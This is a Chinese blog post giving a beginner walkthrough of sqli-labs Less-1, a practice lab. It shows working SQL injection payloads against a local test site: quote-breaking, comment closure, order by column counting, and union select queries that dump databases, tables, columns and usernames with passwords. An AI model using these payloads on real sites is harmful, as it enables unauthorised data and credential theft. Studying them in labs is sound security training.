• 博客园logo
  • 会员
  • 众包
  • 新闻
  • 博问
  • 闪存
  • 赞助商
  • HarmonyOS
  • Chat2DB
    • 搜索
      所有博客
    • 搜索
      当前博客
  • 写随笔 我的博客 短消息 简洁模式
    用户头像
    我的博客 我的园子 账号设置 会员中心 简洁模式 ... 退出登录
    注册 登录
wuhuKD
博客园    首页    新随笔    联系   管理    订阅  订阅

新人学习sqli-labs!最全教程(更新中)

sqli-less1
已知是GET的注入方式
大概思路:
  • 找到注入点
  • 判断是否有注入
  • 闭合的方式
  • 注入的类型
  • 查字段
  • 查库
  • 查表
  • 查列,查数据
流程
已知是GET的请求方式,即在URL上进行注入
0
 

尝试在url后添加一个参数id,http://127.0.0.1/sqli/Less-1/?id=1
 
0
添加参数后在进行访问,发现添加的参数 id=1 被当成一个语句来执行,然后查询出了id值为1的用户名与密码(Dumb、Dumb)

尝试判断整数型 or 字符型
判断的方法:输入单引号,查看是否报错。
URL:http://127.0.0.1/sqli/Less-1/?id=1'
 
0
可以看到,后台的数据库出现了报错的情况,那么是否可以判断是整型注入?
不能
因为还没有进行注释,
MYSQL有三种注释符,分别是单行注释符:#、–空格(就是横杠横杠空格),和多行注释符:/**/
因为我们的语句还不算完整,

一般的代码:$id=$_GET['id']; 
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; 
就是这里,对id进行了修饰,用'(单引号)把id括了起来。所以我们构造语句的时候,一是要把我们构造的语句‘逃逸’出来,二是要把结构进行补全或者适当的注释。
注释可以用--+;-- -;#把后面的'或者多余的修饰符注释掉,
 

使用--+ 进行注释后 http://127.0.0.1/sqlishiyo/Less-1/?id=1 --+
 
0
发现添加了一个--+,与没添加的结果都是一样,那是不是多此一举?
并不是,上面说了,我们要把构造的语句逃逸出来,让数据库执行我们的语句,于是就有了该去如何闭合这一问题
举个例子
id=1
后台的查询语句大概为
"select * from user where id='$id' limit0,1"
$id=$GET['id']
当传入一个id=1
“select *from user where id ='‘1'’ limit 0,1”
即语句可以被后台的数据库执行,但是输入了id =1'
即语句变成了" select * from user where id ="1''' limit 0,1" (红色即会报错字段,因为没有闭合)
可能还有的同学不懂,更简单一些:
你说:“吃饭了吗?’ 你觉得我这样写会对吗?即便是人还可以尝试理解一下,但是数据库那边是不能理解,还会有打你的冲动(虽然它不会打人),但是会进行报错

 

查字段 order by
为什么要查字段? 因为爱?因为我们所使用的函数的特性
union select
使用这个语句要与字段数相符合,
URL http://127.0.0.1/sqli/Less-1/?id=1' order by 4 --+
 
0
出现了一个报错
order by 3
 
0
说明字段数是3
 

 

知道字段数 ,就可以使用联合查询
union select 1,2,3...... order by x x为多少 ,就select 1,2,3....x。。。。这样可以显示我们插入的语句的返回位置
URL http://127.0.0.1/sqli/Less-1/?id=1' union select 1,2,3 --+
0
 
为什么还是这个页面呢?因为一个特性,当union select 前的语句为假,则是执行后面的语句,
当为真的时候,则不执行后面的语句(这里特性记得不是很清楚,但是大概原理还是记得)
所以:
URL http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,3 --+
0
发现 回显的位置 是 2,3
在页面中回显的位置是 name passwd
所以 我们后续修改语句 就在2,3 的位置进行修改
 

 

一些数据库的词
user() :当前使用者的用户名
database():当前数据库名
version():数据库版本
datadir:读取数据库的绝对路径
@@vasedir:mysql安装路径
@@version_compile_os:操作系统
concat():连接一个或者多个字符串
group_concat():连接一个组的所有字符串,并以逗号分隔每一条数据
 

 

查看所有库:union select 1,2,group_concat(schema_name) from information_schema.schemata --+
查看所有表union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='(库名)'--+ 
查看指定列 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='表名'
查数据 union select 1,group_concat(username),group_concat(password) from users--+ 
 

 

整数型也是如此
 
posted @ 2022-02-18 16:39  wuhuKD  阅读(576)  评论(0)    收藏  举报
刷新页面返回顶部
博客园  ©  2004-2025
浙公网安备 33010602011771号 浙ICP备2021040463号-3